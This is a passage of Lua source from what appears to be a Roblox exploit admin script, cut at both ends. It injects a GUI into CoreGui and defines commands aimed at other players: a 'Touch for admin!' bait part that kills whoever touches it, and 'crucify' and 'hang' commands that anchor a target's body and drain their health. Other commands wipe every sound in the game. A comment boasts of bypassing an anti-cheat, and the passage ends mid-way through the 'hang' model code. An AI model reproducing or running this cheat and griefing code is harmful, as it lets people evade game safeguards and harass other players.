local M = Instance.new('Model', workspace) M.Name = 'IYbait'
local P = Instance.new('Part', M) P.Name = 'Main' P.Position =
speaker.Character.Head.Position P.Color = maincolor P.Material = 'Neon' P.Size =
Vector3.new(4, 1, 4)
y = Instance.new("BillboardGui")
y.Size = UDim2.new(0,100,0,150)
y.StudsOffset = Vector3.new(0,1,0)
y.Parent = P
y.Adornee = P
f = Instance.new("TextLabel")
f.Parent = y
f.BackgroundTransparency = 1
f.Position = UDim2.new(0,0,0,-50)
f.Size = UDim2.new(0,100,0,100)
f.Font = "Highway"
f.FontSize = "Size48"
f.Text = "Touch for admin!"
f.TextStrokeColor3 = Color3.new(0,0,0)
f.TextColor3 = Color3.new(255/255,255/255,255/255)
f.TextStrokeTransparency = 0
f.TextYAlignment = "Bottom"
P.Touched:connect(function(oof) if oof.Parent.Name ~= speaker.Name or
oof.Parent.Name ~= LP.Name then if oof.Parent:FindFirstChild('Humanoid') then
execCmd("oof " .. oof.Parent.Name, Player) end end end)
end)
end)

addcmd('removebait','clears bait parts',{'nobait'},


function(args, speaker)
local function dels(instance)
for i,v in pairs(instance:GetChildren())do
if v.name == "IYbait"then v:Destroy()end
dels(v)
end
end
dels(workspace)
end)

function CreateInstance(cls,props)
local inst = Instance.new(cls)
for i,v in pairs(props) do
inst[i] = v
end
return inst end
local function createSoundFrame()
local soundFrame = Instance.new("Frame") soundFrame.Name = "Sound"
soundFrame.BackgroundColor3 = Color3.new(0, 0, 0) soundFrame.BackgroundTransparency
= 1 soundFrame.BorderSizePixel = 0 soundFrame.Position = UDim2.new(0.5, -350, 0, -
100) soundFrame.Size = UDim2.new(0, 700, 0, 35)
local soundFrame4 = Instance.new("TextLabel") soundFrame4.Name = "SName"
soundFrame4.Parent = soundFrame soundFrame4.BackgroundColor3 = Color3.new(1, 1, 1)
soundFrame4.BackgroundTransparency = 1 soundFrame4.Position = UDim2.new(0, 3, 0, 2)
soundFrame4.Size = UDim2.new(1, -6, 0, 15) soundFrame4.Font =
Enum.Font.SourceSansBold soundFrame4.FontSize = Enum.FontSize.Size14
soundFrame4.Text = "Audio" soundFrame4.TextColor3 = Color3.new(1, 1, 1)
soundFrame4.TextWrapped = true soundFrame4.TextYAlignment = Enum.TextYAlignment.Top
local soundFrame6 = Instance.new("TextButton") soundFrame6.Name = "Pause"
soundFrame6.Parent = soundFrame soundFrame6.BackgroundColor3 = Color3.new(0.901961,
0.901961, 0.901961) soundFrame6.BackgroundTransparency = 1 soundFrame6.Position =
UDim2.new(0, 170, 1, -18) soundFrame6.Size = UDim2.new(0, 15, 0, 15)
soundFrame6.Font = Enum.Font.SourceSans soundFrame6.FontSize = Enum.FontSize.Size14
soundFrame6.Text = "" soundFrame6.TextColor3 = Color3.new(0.901961, 0.901961,
0.901961)
local soundFrame7 = CreateInstance("Frame",
{Style=0,Active=false,AnchorPoint=Vector2.new(0,0),BackgroundColor3=Color3.new(0.90
196084976196,0.90196084976196,0.90196084976196),BackgroundTransparency=0,BorderColo
r3=Color3.new(0.10588236153126,0.16470588743687,0.20784315466881),BorderSizePixel=0
,ClipsDescendants=false,Draggable=false,Position=UDim2.new(0,3,0,0),Rotation=0,Sele
ctable=false,Size=UDim2.new(0,2,1,0),SizeConstraint=0,Visible=true,ZIndex=1,Name="L
ine",Parent = soundFrame6})
local soundFrame8 = CreateInstance("Frame",
{Style=0,Active=false,AnchorPoint=Vector2.new(0,0),BackgroundColor3=Color3.new(0.90
196084976196,0.90196084976196,0.90196084976196),BackgroundTransparency=0,BorderColo
r3=Color3.new(0.10588236153126,0.16470588743687,0.20784315466881),BorderSizePixel=0
,ClipsDescendants=false,Draggable=false,Position=UDim2.new(1,-
5,0,0),Rotation=0,Selectable=false,Size=UDim2.new(0,2,1,0),SizeConstraint=0,Visible
=true,ZIndex=1,Name="Line",Parent = soundFrame6})
local soundFrame9 = Instance.new("Frame") soundFrame9.Name = "Pos"
soundFrame9.Parent = soundFrame soundFrame9.BackgroundColor3 = Color3.new(0.901961,
0.901961, 0.901961) soundFrame9.BackgroundTransparency = 1
soundFrame9.BorderSizePixel = 0 soundFrame9.Position = UDim2.new(0, 260, 1, -16)
soundFrame9.Size = UDim2.new(1, -300, 0, 11)
local soundFrame10 = Instance.new("Frame") soundFrame10.Name = "Touch"
soundFrame10.Parent = soundFrame9 soundFrame10.BackgroundColor3 = Color3.new(1, 1,
1) soundFrame10.BorderSizePixel = 0 soundFrame10.Size = UDim2.new(0, 5, 0, 11)
local soundFrame11 = CreateInstance("Frame",
{Style=0,Active=false,AnchorPoint=Vector2.new(0,0),BackgroundColor3=Color3.new(1,1,
1),BackgroundTransparency=0,BorderColor3=Color3.new(0.10588236153126,0.164705887436
87,0.20784315466881),BorderSizePixel=0,ClipsDescendants=false,Draggable=false,Posit
ion=UDim2.new(0,0,0,5),Rotation=0,Selectable=false,Size=UDim2.new(1,0,0,1),SizeCons
traint=0,Visible=true,ZIndex=1,Name="Line",Parent = soundFrame9})
local soundFrame12 = Instance.new("TextLabel") soundFrame12.Name = "TimeEnd"
soundFrame12.Parent = soundFrame soundFrame12.BackgroundColor3 = Color3.new(1, 1,
1) soundFrame12.BackgroundTransparency = 1 soundFrame12.Position = UDim2.new(1, -
35, 1, -18) soundFrame12.Size = UDim2.new(0, 30, 0, 15) soundFrame12.Font =
Enum.Font.SourceSans soundFrame12.FontSize = Enum.FontSize.Size14 soundFrame12.Text
= "1:52" soundFrame12.TextColor3 = Color3.new(1, 1, 1) soundFrame12.TextYAlignment
= Enum.TextYAlignment.Top
local soundFrame13 = Instance.new("TextLabel") soundFrame13.Name =
"TimeStart" soundFrame13.Parent = soundFrame soundFrame13.BackgroundColor3 =
Color3.new(1, 1, 1) soundFrame13.BackgroundTransparency = 1 soundFrame13.Position =
UDim2.new(0, 225, 1, -18) soundFrame13.Size = UDim2.new(0, 30, 0, 15)
soundFrame13.Font = Enum.Font.SourceSans soundFrame13.FontSize =
Enum.FontSize.Size14 soundFrame13.Text = "0:00" soundFrame13.TextColor3 =
Color3.new(1, 1, 1) soundFrame13.TextYAlignment = Enum.TextYAlignment.Top
local soundFrame15 = Instance.new("TextButton") soundFrame15.Name =
"NextSong" soundFrame15.Parent = soundFrame soundFrame15.BackgroundColor3 =
Color3.new(1, 1, 1) soundFrame15.BackgroundTransparency = 1 soundFrame15.Position =
UDim2.new(0, 80, 1, -18) soundFrame15.Size = UDim2.new(0, 15, 0, 15)
soundFrame15.Font = Enum.Font.SourceSans soundFrame15.FontSize =
Enum.FontSize.Size14 soundFrame15.Text = "" soundFrame15.TextColor3 = Color3.new(1,
1, 1)
local soundFrame16 = CreateInstance("Frame",
{Style=0,Active=false,AnchorPoint=Vector2.new(0,0),BackgroundColor3=Color3.new(0.90
196084976196,0.90196084976196,0.90196084976196),BackgroundTransparency=0,BorderColo
r3=Color3.new(0.10588236153126,0.16470588743687,0.20784315466881),BorderSizePixel=0
,ClipsDescendants=false,Draggable=false,Position=UDim2.new(1,-
2,0,0),Rotation=0,Selectable=false,Size=UDim2.new(0,2,1,0),SizeConstraint=0,Visible
=true,ZIndex=1,Name="Line",Parent = soundFrame15})
local soundFrame17 =
CreateInstance("ImageLabel",{Image="rbxassetid://304846479",ImageColor3=Color3.new(
0.90196084976196,0.90196084976196,0.90196084976196),ImageRectOffset=Vector2.new(0,0
),ImageRectSize=Vector2.new(0,0),ImageTransparency=0,ScaleType=0,SliceCenter=Rect.n
ew(0,0,0,0),Active=false,AnchorPoint=Vector2.new(0,0),BackgroundColor3=Color3.new(1
,1,1),BackgroundTransparency=1,BorderColor3=Color3.new(0.10588236153126,0.164705887
43687,0.20784315466881),BorderSizePixel=1,ClipsDescendants=false,Draggable=false,Po
sition=UDim2.new(0,0,0,2),Rotation=90,Selectable=false,Size=UDim2.new(0,10,0,11),Si
zeConstraint=0,Visible=true,ZIndex=1,Name="ImageLabel",Parent = soundFrame15})
local soundFrame18 = Instance.new("TextButton") soundFrame18.Name =
"PrevSong" soundFrame18.Parent = soundFrame soundFrame18.BackgroundColor3 =
Color3.new(1, 1, 1) soundFrame18.BackgroundTransparency = 1 soundFrame18.Position =
UDim2.new(0, 20, 1, -18) soundFrame18.Size = UDim2.new(0, 15, 0, 15)
soundFrame18.Font = Enum.Font.SourceSans soundFrame18.FontSize =
Enum.FontSize.Size14 soundFrame18.Text = "" soundFrame18.TextColor3 = Color3.new(1,
1, 1)
local soundFrame19 = CreateInstance("Frame",
{Style=0,Active=false,AnchorPoint=Vector2.new(0,0),BackgroundColor3=Color3.new(0.90
196084976196,0.90196084976196,0.90196084976196),BackgroundTransparency=0,BorderColo
r3=Color3.new(0.10588236153126,0.16470588743687,0.20784315466881),BorderSizePixel=0
,ClipsDescendants=false,Draggable=false,Position=UDim2.new(0,0,0,0),Rotation=0,Sele
ctable=false,Size=UDim2.new(0,2,1,0),SizeConstraint=0,Visible=true,ZIndex=1,Name="L
ine",Parent = soundFrame18})
local soundFrame20 =
CreateInstance("ImageLabel",{Image="rbxassetid://304846479",ImageColor3=Color3.new(
0.90196084976196,0.90196084976196,0.90196084976196),ImageRectOffset=Vector2.new(0,0
),ImageRectSize=Vector2.new(0,0),ImageTransparency=0,ScaleType=0,SliceCenter=Rect.n
ew(0,0,0,0),Active=false,AnchorPoint=Vector2.new(0,0),BackgroundColor3=Color3.new(1
,1,1),BackgroundTransparency=1,BorderColor3=Color3.new(0.10588236153126,0.164705887
43687,0.20784315466881),BorderSizePixel=1,ClipsDescendants=false,Draggable=false,Po
sition=UDim2.new(0,5,0,2),Rotation=-
90,Selectable=false,Size=UDim2.new(0,10,0,11),SizeConstraint=0,Visible=true,ZIndex=
1,Name="ImageLabel",Parent = soundFrame18})
local soundFrame21 = Instance.new("TextLabel") soundFrame21.Name =
"PlaylistCount" soundFrame21.Parent = soundFrame soundFrame21.BackgroundColor3 =
Color3.new(1, 1, 1) soundFrame21.BackgroundTransparency = 1 soundFrame21.Position =
UDim2.new(0, 40, 1, -18) soundFrame21.Size = UDim2.new(0, 35, 0, 15)
soundFrame21.Font = Enum.Font.SourceSans soundFrame21.FontSize =
Enum.FontSize.Size14 soundFrame21.Text = "1/1" soundFrame21.TextColor3 =
Color3.new(1, 1, 1) soundFrame21.TextYAlignment = Enum.TextYAlignment.Top
local soundFrame22 = Instance.new("ImageButton") soundFrame22.Name =
"PlayStop" soundFrame22.Parent = soundFrame soundFrame22.BackgroundColor3 =
Color3.new(0.901961, 0.901961, 0.901961) soundFrame22.BackgroundTransparency = 1
soundFrame22.BorderSizePixel = 0 soundFrame22.Position = UDim2.new(0, 145, 1, -18)
soundFrame22.Rotation = 90 soundFrame22.Size = UDim2.new(0, 15, 0, 15)
soundFrame22.AutoButtonColor = false soundFrame22.Image = "rbxassetid://304846479"
soundFrame22.ImageColor3 = Color3.new(0.901961, 0.901961, 0.901961)
return soundFrame end
local soundFrame = createSoundFrame()
soundFrame.Visible = true
local MusicPlayer do
MusicPlayer = {}
local playlist = {}
local currentSong = 1
local playlistHook = nil
--local soundFrame = script.Parent:WaitForChild("Sound")
local soundLine = soundFrame:WaitForChild("Pos")
local soundTouch = soundLine:WaitForChild("Touch")
local soundPlayStop = soundFrame:WaitForChild("PlayStop")
local soundPause = soundFrame:WaitForChild("Pause")
local soundNext = soundFrame:WaitForChild("NextSong")
local soundPrev = soundFrame:WaitForChild("PrevSong")
local soundButtons = {soundPlayStop,soundPause,soundNext,soundPrev}
local mouseDrag = false
local mouse = gPlayers.LocalPlayer:GetMouse()
local lineBar = soundFrame:WaitForChild("Pos")
adminSound = Instance.new("Sound",nil)
local function timeConvert(num)
local mins = math.floor(num/60)
local secs = math.floor(num % 60)
return tostring(mins)..":"..(math.floor(secs/10)==0 and "0" or
"")..tostring(secs)
end
local function updateSongLine()
local linePos = mouse.X - soundLine.AbsolutePosition.X
if linePos >= 0 and linePos <= soundLine.AbsoluteSize.X then
local movePos = linePos/soundLine.AbsoluteSize.X
soundTouch.Position = UDim2.new(movePos,0,0,0)
elseif linePos < 0 then
soundTouch.Position = UDim2.new(0,0,0,0)
else
soundTouch.Position = UDim2.new(1,0,0,0)
end
local newTimePos = soundTouch.Position.X.Scale * adminSound.TimeLength
adminSound.TimePosition = newTimePos
soundFrame.TimeStart.Text = timeConvert(newTimePos)
soundFrame.TimeEnd.Text = timeConvert(adminSound.TimeLength)
end
local function updateDetails(id)
local info = game:GetService("MarketplaceService"):GetProductInfo(id)
soundFrame.SName.Text = info.Name
end
local function setPlaylistHook()
if playlistHook then playlistHook:Disconnect() playlistHook = nil end
if #playlist == 0 then return end
playlistHook = adminSound.DidLoop:connect(function()
if currentSong == #playlist then currentSong = 1 else currentSong
= currentSong + 1 end
soundFrame.PlaylistCount.Text =
tostring(currentSong).."/"..tostring(#playlist)
MusicPlayer:Play(playlist[currentSong],true)
end)
end
local function disconnectPlaylistHook()
if playlistHook then playlistHook:disconnect() playlistHook = nil end
end
game:GetService("RunService").RenderStepped:Connect(function()
if adminSound.Playing then
soundTouch.Position =
UDim2.new(adminSound.TimePosition/adminSound.TimeLength,0,0,0)
soundFrame.TimeStart.Text = timeConvert(adminSound.TimePosition)
soundFrame.TimeEnd.Text = timeConvert(adminSound.TimeLength)
end
end)
lineBar.InputBegan:connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 then
mouseDrag = true
updateSongLine()
end
end)
lineBar.InputEnded:connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 then
mouseDrag = false
end
end)
mouse.Move:connect(function(prop)
if mouseDrag then
updateSongLine()
end
end)
function MusicPlayer:Play(id,plist)
if not plist then playlist = {} disconnectPlaylistHook()
soundFrame.PlaylistCount.Visible = false soundFrame.NextSong.Visible = false
soundFrame.PrevSong.Visible = false end
adminSound:Stop()
if adminSound.Parent == nil then
adminSound = Instance.new("Sound",workspace)
adminSound.Name = "IYsound"
adminSound.Looped = true
if plist then setPlaylistHook() end
end
adminSound.SoundId = "rbxassetid://"..tostring(id)
adminSound.TimePosition = 0
--repeat wait() until adminSound.IsLoaded
adminSound:Play()
soundPlayStop.BackgroundTransparency = 0
soundPlayStop.ImageTransparency = 1
updateDetails(id)
end
function MusicPlayer:Playlist(list)
playlist = list
soundFrame.PlaylistCount.Visible = true soundFrame.NextSong.Visible =
true soundFrame.PrevSong.Visible = true
currentSong = 1
if adminSound.Parent == nil then
adminSound = Instance.new("Sound",workspace)
adminSound.Name = "IYsound"
adminSound.Looped = true
end
soundFrame.PlaylistCount.Text = "1/"..tostring(#playlist)
MusicPlayer:Play(playlist[1],true)
setPlaylistHook()
end
function MusicPlayer:Stop()
adminSound:Stop()
adminSound.TimePosition = 0
soundTouch.Position = UDim2.new(0,0,0,0)
soundFrame.TimeStart.Text = "0:00"
soundPlayStop.BackgroundTransparency = 1
soundPlayStop.ImageTransparency = 0
end
function MusicPlayer:Pause()
adminSound:Pause()
soundPlayStop.BackgroundTransparency = 1
soundPlayStop.ImageTransparency = 0
end
function MusicPlayer:Resume()
adminSound:Resume()
soundPlayStop.BackgroundTransparency = 0
soundPlayStop.ImageTransparency = 1
setPlaylistHook()
end
function MusicPlayer:NextSong()
if #playlist == 0 then return end
if currentSong == #playlist then currentSong = 1 else currentSong =
currentSong + 1 end
soundFrame.PlaylistCount.Text =
tostring(currentSong).."/"..tostring(#playlist)
MusicPlayer:Play(playlist[currentSong],true)
end
function MusicPlayer:PrevSong()
if #playlist == 0 then return end
if currentSong == 1 then currentSong = #playlist else currentSong =
currentSong - 1 end
soundFrame.PlaylistCount.Text =
tostring(currentSong).."/"..tostring(#playlist)
MusicPlayer:Play(playlist[currentSong],true)
end
function MusicPlayer:SetSong(ind)
if ind > #playlist or ind <= 0 then return end
soundFrame.PlaylistCount.Text = tostring(ind).."/"..tostring(#playlist)
MusicPlayer:Play(playlist[ind],true)
end
playerenabled = false
function MusicPlayer:Show()
soundFrame:TweenPosition(UDim2.new(0.5,-350,0,-
72),Enum.EasingDirection.Out,Enum.EasingStyle.Quart,0.5,true)
end
function MusicPlayer:Hide()
soundFrame:TweenPosition(UDim2.new(0.5,-350,0,-
150),Enum.EasingDirection.Out,Enum.EasingStyle.Quart,0.5,true)
end
function colorFrames(obj,col)
for i,v in pairs(obj:GetChildren()) do
if v:IsA("ImageLabel") then
v.ImageColor3 = col
end
v.BackgroundColor3 = col
end
end
for i,v in pairs(soundButtons) do
v.MouseEnter:connect(function()
if v:IsA("ImageButton") then v.ImageColor3 = Color3.new(1,1,1)
end
if v:IsA("TextButton") then v.TextColor3 = Color3.new(1,1,1) end
v.BackgroundColor3 = Color3.new(1,1,1)
colorFrames(v,Color3.new(1,1,1))
end)
v.MouseLeave:connect(function()
if v:IsA("ImageButton") then v.ImageColor3 = Color3.new(230/255,
230/255, 230/255) end
if v:IsA("TextButton") then v.TextColor3 = Color3.new(230/255,
230/255, 230/255) end
v.BackgroundColor3 = Color3.new(230/255, 230/255, 230/255)
colorFrames(v,Color3.new(230/255, 230/255, 230/255))
end)
end
soundPlayStop.MouseButton1Click:connect(function()
if adminSound.Playing then
MusicPlayer:Stop()
else
MusicPlayer:Resume()
end
end)
soundPause.MouseButton1Click:connect(function()
MusicPlayer:Pause()
end)
soundNext.MouseButton1Click:connect(MusicPlayer.NextSong)
soundPrev.MouseButton1Click:connect(MusicPlayer.PrevSong)
end
local testgui = Instance.new("ScreenGui",game.CoreGui)
soundFrame.Parent = testgui
addcmd('playlist','makes a noice playlist',{'ids','player'},
function(args, speaker)
playerenabled = true
if #args > 0 then
for i,v in pairs(game:GetDescendants()) do
if v:IsA'Sound'then v:Destroy() end end wait(0.1)
if adminSound.Parent == nil then
adminSound = Instance.new("Sound",workspace)
adminSound.Name = "IYsound"
adminSound.Looped = true
end
local idlist = splitString(args[1])
local workingIds = {}
for i,v in pairs(idlist) do if tonumber(v) then
table.insert(workingIds,tonumber(v)) end end
if #workingIds > 0 then
playerenabled = true
NOTIFY.NOTIFY:TweenPosition(UDim2.new(0,0,0,-100), "InOut",
"Quart", 0.5, true, nil)
MusicPlayer:Playlist(workingIds)
MusicPlayer:Show() if qopen == true then
quickmenu.sheild.cmds:TweenPosition(UDim2.new(0, 50, 0, -50), "InOut", "Quart",
0.5, true, nil) wait(0.01)
quickmenu.sheild.settings:TweenPosition(UDim2.new(0, 146, 0, -
50), "InOut", "Quart", 0.5, true, nil) wait(0.01)
quickmenu.sheild.updates:TweenPosition(UDim2.new(0, 220, 0, -50),
"InOut", "Quart", 0.5, true, nil) wait(0.01)
quickmenu.sheild.info:TweenPosition(UDim2.new(0, 290, 0, -50),
"InOut", "Quart", 0.5, true, nil) wait(0.01)
quickmenu.sheild.mix:TweenPosition(UDim2.new(0, 340, 0, -50),
"InOut", "Quart", 0.5, true, nil) wait(0.01) qopen = false end end
else MusicPlayer:Show() NOTIFY.NOTIFY:TweenPosition(UDim2.new(0,0,0,-
100), "InOut", "Quart", 0.5, true, nil) if qopen == true then
quickmenu.sheild.cmds:TweenPosition(UDim2.new(0, 50, 0, -50), "InOut", "Quart",
0.5, true, nil) wait(0.01)
quickmenu.sheild.settings:TweenPosition(UDim2.new(0, 146, 0, -
50), "InOut", "Quart", 0.5, true, nil) wait(0.01)
quickmenu.sheild.updates:TweenPosition(UDim2.new(0, 220, 0, -50),
"InOut", "Quart", 0.5, true, nil) wait(0.01) playerenabled = true
quickmenu.sheild.info:TweenPosition(UDim2.new(0, 290, 0, -50),
"InOut", "Quart", 0.5, true, nil) wait(0.01)
quickmenu.sheild.mix:TweenPosition(UDim2.new(0, 340, 0, -50),
"InOut", "Quart", 0.5, true, nil) wait(0.01) qopen = false end end end)
addcmd('setsong','goto a song',{'tosong'},
function(args, speaker)
MusicPlayer:SetSong(tonumber(args[1]))
end)
addcmd('nextsong','forward a song',{'nxtsong'},
function(args, speaker)
MusicPlayer:NextSong()
end)
addcmd('prevsong','back a song',{'previoussong'},
function(args, speaker)
MusicPlayer:PrevSong()
end)
addcmd('hideplaylist','back a song',{'unplayer','noplayer','hideplayer'},
function(args, speaker)
playerenabled = false
MusicPlayer:Hide()
NOTIFY.NOTIFY:TweenPosition(UDim2.new(0, 0, 0, -38), "InOut", "Quart", 0.5, true,
nil)
end)

addcmd('playhash', 'plays a hash instead of soundid',{'hash'},


function(args, speaker)
for i,v in pairs(game:GetDescendants()) do
if v:IsA'Sound'then v:Destroy() end end
local c = args[1] or 'stop'
if std.inTable({'stop'}, c:lower()) then return end
local s = Instance.new("Sound", workspace)
s.Name = "IYsound"
s.Looped = true
s.SoundId = c
s.Volume = 1
s:Play()
playerenabled = false
Notify('Playing hash')
end)

addcmd('disco','disco party',{''},
function(args, speaker)
_G.nodisco = nil
coroutine.resume(coroutine.create(function()
repeat
game:GetService('Lighting').GlobalShadows = true
game:GetService('Lighting').FogEnd = 200
game:GetService('Lighting').TimeOfDay = 0
local r = 255
local g = 0
local b = 0
for i = 0,255,5 do
if _G.nodisco ~=nil then return end
r = r - 5
b = b + 5
game:GetService('Lighting').Ambient = Color3.fromRGB(r,g,b)
game:GetService('Lighting').OutdoorAmbient = Color3.fromRGB(r,g,b)
game:GetService('Lighting').FogColor = Color3.fromRGB(r,g,b)
wait()
end
for i = 0,255,5 do
if _G.nodisco ~=nil then return end
g = g + 5
game:GetService('Lighting').Ambient = Color3.fromRGB(r,g,b)
game:GetService('Lighting').OutdoorAmbient = Color3.fromRGB(r,g,b)
game:GetService('Lighting').FogColor = Color3.fromRGB(r,g,b)
wait()
end
for i = 0,255,5 do
if _G.nodisco ~=nil then return end
b = b - 5
game:GetService('Lighting').Ambient = Color3.fromRGB(r,g,b)
game:GetService('Lighting').OutdoorAmbient = Color3.fromRGB(r,g,b)
game:GetService('Lighting').FogColor = Color3.fromRGB(r,g,b)
wait()
end
for i = 0,255,5 do
if _G.nodisco ~=nil then return end
r = r + 5
game:GetService('Lighting').Ambient = Color3.fromRGB(r,g,b)
game:GetService('Lighting').OutdoorAmbient = Color3.fromRGB(r,g,b)
game:GetService('Lighting').FogColor = Color3.fromRGB(r,g,b)
wait()
end
for i = 0,255,5 do
if _G.nodisco ~=nil then return end
g = g - 5
game:GetService('Lighting').Ambient = Color3.fromRGB(r,g,b)
game:GetService('Lighting').OutdoorAmbient = Color3.fromRGB(r,g,b)
game:GetService('Lighting').FogColor = Color3.fromRGB(r,g,b)
wait()
end
until _G.nodisco
end))
end)

addcmd('undisco','rip disco party',{''},


function(args, speaker)
_G.nodisco = true
execCmd('fixl')
end)

addcmd('hat','give a hat to a player',{''},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local char = gPlayers[v].Character
local Hat = game:GetService("InsertService"):LoadLocalAsset("rbxassetid://" ..
args[2])
Hat.Parent = char
end end)

fm = Instance.new('BlockMesh', DATA)
fm.Scale = Vector3.new(1, 1, 2)
fm.Name = "FAT"
addcmd('fat','makes a plr fat',{''},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local char = gPlayers[v].Character
for _, child in pairs( char:GetChildren()) do
if child.ClassName == "CharacterMesh" then
child:Destroy() end end
for i,v in pairs(char:GetChildren()) do
if v:IsA('Part') and v.Name ~= 'HumanoidRootPart' then
fm:Clone().Parent = v
end end end end)

addcmd('crucify','crucifies a player',{'cruci'},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local char = gPlayers[v].Character
local torso=char['Torso']
local larm=char['Left Arm']
local rarm=char['Right Arm']
local lleg=char['Left Leg']
local rleg=char['Right Leg']
local head=char['Head']
if torso and larm and rarm and lleg and rleg and head and not
char:FindFirstChild(char.Name..'epixcrusify') then
local cru=Instance.new('Model',char)
cru.Name=char.Name..'epixcrusify' -- Leave it like that so it
bypasses epixcommands ;)
local c1=Instance.new('Part',cru)
c1.BrickColor=BrickColor.new('Reddish brown')
c1.Material='Wood'
c1.CFrame=(char.Torso.CFrame-
char.Torso.CFrame.lookVector)*CFrame.new(0,0,2)
c1.Size=Vector3.new(2,18.4,1)
c1.Anchored=true
local c2=c1:Clone()
c2.Parent=cru
c2.Size=Vector3.new(11,1.6,1)
c2.CFrame=c1.CFrame+Vector3.new(0,5,0)
torso.Anchored=true;wait(0.5)
torso.CFrame=c2.CFrame+torso.CFrame.lookVector+Vector3.new(0,-
1,0);wait(0.5)
larm.Anchored=true
rarm.Anchored=true
lleg.Anchored=true
rleg.Anchored=true
head.Anchored=true;wait()
larm.CFrame=torso.CFrame*CFrame.new(-1.5,1,0)
rarm.CFrame=torso.CFrame*CFrame.new(1.5,1,0)
lleg.CFrame=torso.CFrame*CFrame.new(-0.1,-1.7,0)
rleg.CFrame=torso.CFrame*CFrame.new(0.1,-1.7,0)
larm.CFrame=larm.CFrame*CFrame.Angles(0,0,-140)
rarm.CFrame=rarm.CFrame*CFrame.Angles(0,0,140)
lleg.CFrame=lleg.CFrame*CFrame.Angles(0,0,0.6)
rleg.CFrame=rleg.CFrame*CFrame.Angles(0,0,-0.6)
--head.CFrame=head.CFrame*CFrame.Angles(0,0,0.3)
local n1=Instance.new('Part',cru)
n1.BrickColor=BrickColor.new('Dark stone grey')
n1.Material='DiamondPlate'
n1.Size=Vector3.new(0.2,0.2,2)
n1.Anchored=true
local m=Instance.new('BlockMesh',n1)
m.Scale=Vector3.new(0.2,0.2,0.7)
local n2=n1:Clone()
n2.Parent=cru
local n3=n1:Clone()
n3.Parent=cru
n1.CFrame=(c2.CFrame+torso.CFrame.lookVector)*CFrame.new(2,0,0)
n2.CFrame=(c2.CFrame+torso.CFrame.lookVector)*CFrame.new(-2,0,0)
n3.CFrame=(c2.CFrame+torso.CFrame.lookVector)*CFrame.new(0,-3,0)
spawn(function()
repeat
wait(0.1)
char.Humanoid.Health=char.Humanoid.Health-0.6
until (not cru) or (not cru.Parent) or (not v) or (not
char) or (not char:FindFirstChild('Head')) or char.Humanoid.Health<=0
char:BreakJoints()
end)
end
end
end)

addcmd('hang','hangs a player',{},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local plr = gPlayers[v].Character
plr.HumanoidRootPart.Anchored = true
function sandbox(var,func)
local env = getfenv(func)
local newenv = setmetatable({},{
__index = function(self,k)
if k=="script" then
return var
else
return env[k]
end
end,
})
setfenv(func,newenv)
return func
end
cors = {}
mas = Instance.new("Model",game:GetService("Lighting"))
local Model0 = Instance.new("Model")
local Part1 = Instance.new("Part")
local Part2 = Instance.new("Part")
local Part3 = Instance.new("Part")
local Part4 = Instance.new("Part")
local Part5 = Instance.new("Part")
local Motor6D6 = Instance.new("Motor6D")
local Part7 = Instance.new("Part")
local Part8 = Instance.new("Part")
local Part9 = Instance.new("Part")
local Part10 = Instance.new("Part")
local Part11 = Instance.new("Part")
local Part12 = Instance.new("Part")
local Part13 = Instance.new("Part")
local Part14 = Instance.new("Part")
local Part15 = Instance.new("Part")
Model0.Name = "hang"
Model0.Parent = mas
Part1.Parent = Model0
Part1.Material = Enum.Material.SmoothPlastic
Part1.BrickColor = BrickColor.new("Reddish brown")
Part1.Anchored = true
Part1.Size = Vector3.new(0.200000003, 0.200000003, 0.600000024)
Part1.CFrame = CFrame.new(1.539994, 9.29992199, 12.6999884, 1, 0, 0, 0, 1, 0, 0, 0,
1)
Part1.BackSurface = Enum.SurfaceType.SmoothNoOutlines
Part1.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
Part1.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
Part1.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
Part1.RightSurface = Enum.SurfaceType.SmoothNoOutlines
Part1.TopSurface = Enum.SurfaceType.SmoothNoOutlines
Part1.Color = Color3.new(0.411765, 0.25098, 0.156863)
Part1.Position = Vector3.new(1.539994, 9.29992199, 12.6999884)
Part1.Color = Color3.new(0.411765, 0.25098, 0.156863)
Part2.Parent = Model0
Part2.Material = Enum.Material.Wood
Part2.BrickColor = BrickColor.new("Pine Cone")
Part2.Anchored = true
Part2.Size = Vector3.new(0.49999997, 0.200000003, 0.200000003)
Part2.CFrame = CFrame.new(1.44999003, 9.09992599, 12.6999884, 1, 0, 0, 0, 1, 0, 0,
0, 1)
Part2.BackSurface = Enum.SurfaceType.SmoothNoOutlines
Part2.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
Part2.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
Part2.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
Part2.RightSurface = Enum.SurfaceType.SmoothNoOutlines
Part2.TopSurface = Enum.SurfaceType.SmoothNoOutlines
Part2.Color = Color3.new(0.423529, 0.345098, 0.294118)
Part2.Position = Vector3.new(1.44999003, 9.09992599, 12.6999884)
Part2.Color = Color3.new(0.423529, 0.345098, 0.294118)
Part3.Parent = Model0
Part3.Material = Enum.Material.Wood
Part3.BrickColor = BrickColor.new("Pine Cone")
Part3.Anchored = true
Part3.Size = Vector3.new(1, 9.39999962, 0.599999964)
Part3.CFrame = CFrame.new(-0.100001998, 4.70001078, 12.6999884, 1, 0, 0, 0, 1, 0,
0, 0, 1)
Part3.BackSurface = Enum.SurfaceType.SmoothNoOutlines
Part3.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
Part3.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
Part3.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
Part3.RightSurface = Enum.SurfaceType.SmoothNoOutlines
Part3.TopSurface = Enum.SurfaceType.SmoothNoOutlines
Part3.Color = Color3.new(0.423529, 0.345098, 0.294118)
Part3.Position = Vector3.new(-0.100001998, 4.70001078, 12.6999884)
Part3.Color = Color3.new(0.423529, 0.345098, 0.294118)
Part4.Parent = Model0
Part4.Material = Enum.Material.Wood
Part4.BrickColor = BrickColor.new("Pine Cone")
